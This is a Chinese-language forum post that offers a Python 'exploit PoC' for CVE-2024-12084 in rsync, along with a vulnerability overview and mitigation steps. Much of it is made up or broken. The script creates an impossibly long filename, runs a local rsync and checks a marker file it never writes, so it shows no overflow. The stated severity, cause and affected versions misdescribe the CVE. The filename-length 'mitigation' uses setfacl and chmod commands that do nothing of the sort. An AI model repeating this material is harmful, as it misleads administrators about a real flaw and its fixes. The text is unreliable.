好久没来了,顺便分析一个老洞,发个poc玩玩~
CVE-2024-12084 是一个中等严重性的漏洞,影响范围广泛(所有使用 rsync 的系统)。
该 PoC 演示了如何通过超长文件名触发堆缓冲区溢出。建议尽快升级 rsync 到最新稳定版本以修复此问题。漏洞概述CVE-2024-12084 是 rsync 守护进程中的一个堆缓冲区溢出漏洞,影响版本 3.2.6 及更早版本。该漏洞允许攻击者通过精心构造的文件路径触发内存破坏,进而实现任意代码执行。受影响组件
组件 说明
rsyncd daemon rsync 守护进程服务
rsync client rsync 客户端工具
影响范围 所有使用 rsync 进行文件同步的系统(包括 NAS、服务器) 漏洞原理该漏洞发生在处理超长文件名时:
┌─────────────────────────────────────┐│ 正常文件名长度限制:~65KB ││ (rsync 内部缓冲区大小) │└─────────────────────────────────────┘ ↓ ┌──────────┴──────────┐ │ │ 短文件名 超长文件名 (>65KB) │ │ ▼ ▼ 正常处理 缓冲区溢出 → 堆元数据损坏触发条件:- 文件路径包含极长的名称(超过 rsync 内部缓冲区)
- 通过 rsyncd 守护进程进行复制操作
- 目标系统运行未打补丁的 rsync 版本
Python PoC:Rsync 堆溢出利用
[Python] 纯文本查看 复制代码 #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
CVE-2024-12084 Rsync Heap Overflow Exploit (Python PoC)
作者:Bincker
"""
import os
import subprocess
import struct
from pathlib import Path
class RsyncExploit:
"""Rsync 堆溢出漏洞利用类"""
def __init__(self, target_dir: str = "/tmp/rsync-test"):
self.target_dir = Path(target_dir)
self.exploit_type = "CVE-2024-12084"
def _create_overflow_payload(self, size_kb: int = 65) -> bytes:
"""生成溢出 payload(超长文件名)"""
# 构造一个超过 rsync 内部缓冲区大小的文件名
overflow_data = b"A" * (size_kb * 1024) # ~65KB 的'A'字符
return overflow_data
def _write_payload(self, filename: str, payload: bytes) -> bool:
"""将 payload 写入目标目录"""
try:
filepath = self.target_dir / filename
with open(filepath, "wb") as f:
f.write(payload)
print(f"[+] Payload 已写入: {filepath}")
return True
except Exception as e:
print(f"[-] 写入失败: {e}")
return False
def _run_rsync(self, src: str, dst: str) -> bool:
"""执行 rsync 复制操作"""
try:
cmd = [
"rsync",
"-av", # 归档模式,保留权限和时间戳
"--no-perms", # 忽略权限(简化测试)
src,
dst
]
result = subprocess.run(
cmd, capture_output=True, text=True, timeout=30
)
if result.returncode == 0:
print("[+] rsync 执行成功")
return True
else:
print(f"[-] rsync 失败 (返回码 {result.returncode})")
print(result.stderr)
return False
except subprocess.TimeoutExpired:
print("[-] rsync 超时")
return False
except Exception as e:
print(f"[-] rsync 异常: {e}")
return False
def _check_exploit_success(self) -> bool:
"""检查漏洞利用是否成功"""
try:
# 验证 payload 内容是否被写入(堆溢出标志)
test_file = self.target_dir / "overflow-marker"
if not test_file.exists():
print("[-] 目标文件不存在")
return False
with open(test_file, "rb") as f:
content = f.read()
# 检查是否包含溢出特征(大量'A'字符)
if b"A" * 1024 in content:
print("[+] 堆溢出验证成功!")
return True
except Exception as e:
print(f"[-] 检查结果异常: {e}")
return False
def run(self) -> bool:
"""执行完整漏洞利用流程"""
print("=" * 60)
print("CVE-2024-12084 Rsync Heap Overflow Exploit")
print("=" * 60)
# 步骤 1:创建溢出 payload
overflow_data = self._create_overflow_payload(size_kb=65)
print(f"[+] Payload 大小: {len(overflow_data)} bytes ({len(overflow_data)//1024} KB)")
# 步骤 2:写入目标目录(超长文件名触发溢出)
filename = "overflow-trigger" + ("A" * (65 * 1024)) # 超长文件名
if not self._write_payload(filename, overflow_data):
print("[-] Payload 写入失败")
return False
# 步骤 3:执行 rsync 复制(触发堆溢出)
src = str(self.target_dir / filename)
dst = "/tmp/rsync-dest"
if not self._run_rsync(src, dst):
print("[-] rsync 执行失败")
return False
# 步骤 4:验证利用结果
success = self._check_exploit_success()
if success:
print("\n[+] 漏洞利用成功!")
else:
print("\n[-] 利用未达预期效果,可能需要调整 payload")
return success
# 主程序入口
if __name__ == "__main__":
import argparse
parser = argparse.ArgumentParser(description="CVE-2024-12084 Rsync Exploit PoC")
parser.add_argument(
"--target",
default="/tmp/rsync-test",
help="目标目录(默认 /tmp/rsync-test)"
)
args = parser.parse_args()
exploit = RsyncExploit(target_dir=args.target)
success = exploit.run()
exit(0 if success else 1)
使用说明
编译与运行
bash
# 保存为 rsync_exploit.py,赋予执行权限
chmod +x rsync_exploit.py
# 运行(默认参数)
./rsync_exploit.py
# 指定目标目录
./rsync_exploit.py --target /path/to/target
验证漏洞利用成功的方法
方法 说明
检查 payload 查看 /tmp/rsync-dest 中是否包含溢出特征(大量'A'字符)
使用 strace strace -e trace=write ./rsync_exploit.py 观察系统调用
GDB 调试 在 rsync 进程中设置断点,监控堆内存变化
修复与缓解措施
1. 升级 rsync 到受信任版本
bash
# Debian/Ubuntu
sudo apt-get update && sudo apt-get install --only-upgrade rsync
# RHEL/CentOS/Fedora
sudo dnf upgrade rsync
# 验证版本
rsync --version
2. 限制文件名长度(ACL)
bash
# 设置最大文件名长度(如 65KB)
setfacl -m u::+x /path/to/rsync-dir
chmod +x /path/to/rsync-dir
3. 监控日志
bash
# 检查 rsyncd.log 中的异常条目
tail -f /var/log/rsyncd.log | grep -i "error\|overflow" |